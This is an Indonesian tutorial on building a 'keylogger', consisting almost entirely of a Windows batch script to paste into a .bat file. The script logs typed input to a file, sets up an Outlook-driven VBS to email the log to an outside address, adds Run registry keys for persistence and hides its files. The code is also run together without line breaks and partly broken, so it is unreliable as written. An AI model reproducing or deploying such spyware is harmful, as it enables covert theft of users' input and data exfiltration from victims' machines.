Membuat Keylogger Sendiri

Save di notepad dengan extensi .bat 

salin code di bawah ini.


@echo offset location = %windir%\System32\stsyk.vbsecho set shell = CreateObject("Wscript.Shell") >> %location%echo shell.run "C:\windows\k.bat", 0 >> %location%echo @echo off >> C:\windows\k.batecho color c9 >> C:\windows\k.batecho :go >> C:\windows\k.batecho echo .>>c:\keys.txt  >> C:\windows\k.batecho echo :  >> C:\windows\k.batecho set /p keys=  >> C:\windows\k.batecho echo %keys% >> c:\keys.txt  >> C:\windows\k.batecho goto go >> C:\windows\k.batecho start %location%  >> C:\windows\k.batecho(echo Dim x > C:\kvqim.vbsecho on error resume next >> C:\kvqim.vbsecho Set fso ="Scripting.FileSystem.Object" >> C:\kvqim.vbsecho Set so=CreateObject(fso) >> C:\kvqim.vbsecho Set ol=CreateObject("Outlook.Application") >> C:\kvqim.vbsecho Set out=WScript.CreateObject("Outlook.Application") >> C:\kvqim.vbsecho Mail.to="qrembiezs@hackermail.com">> C:\kvqim.vbsecho Mail.Subject="Keylog" >> C:\kvqim.vbsecho Mail.Body="" >> C:\kvqim.vbsecho Mail.Attachments.Add("C:keys.txt") >> C:\kvqim.vbsecho Mail.Send >> C:\kvqim.vbsecho Next >> C:\kvqim.vbsecho ol.Quit >> C:\kvqim.vbsC:\kvqim.vbs)>>C:\Windows\k.batping localhost 5 > nuldel C:\kvqim.vbsREG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinBoot /t REG_SZ /d %location%REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinBoot /t REG_SZ /d C:\Windows\k.batattrib +h +s %location%attrib +h +s C:\Windows\k.batattrib +h keys.txt

start %location%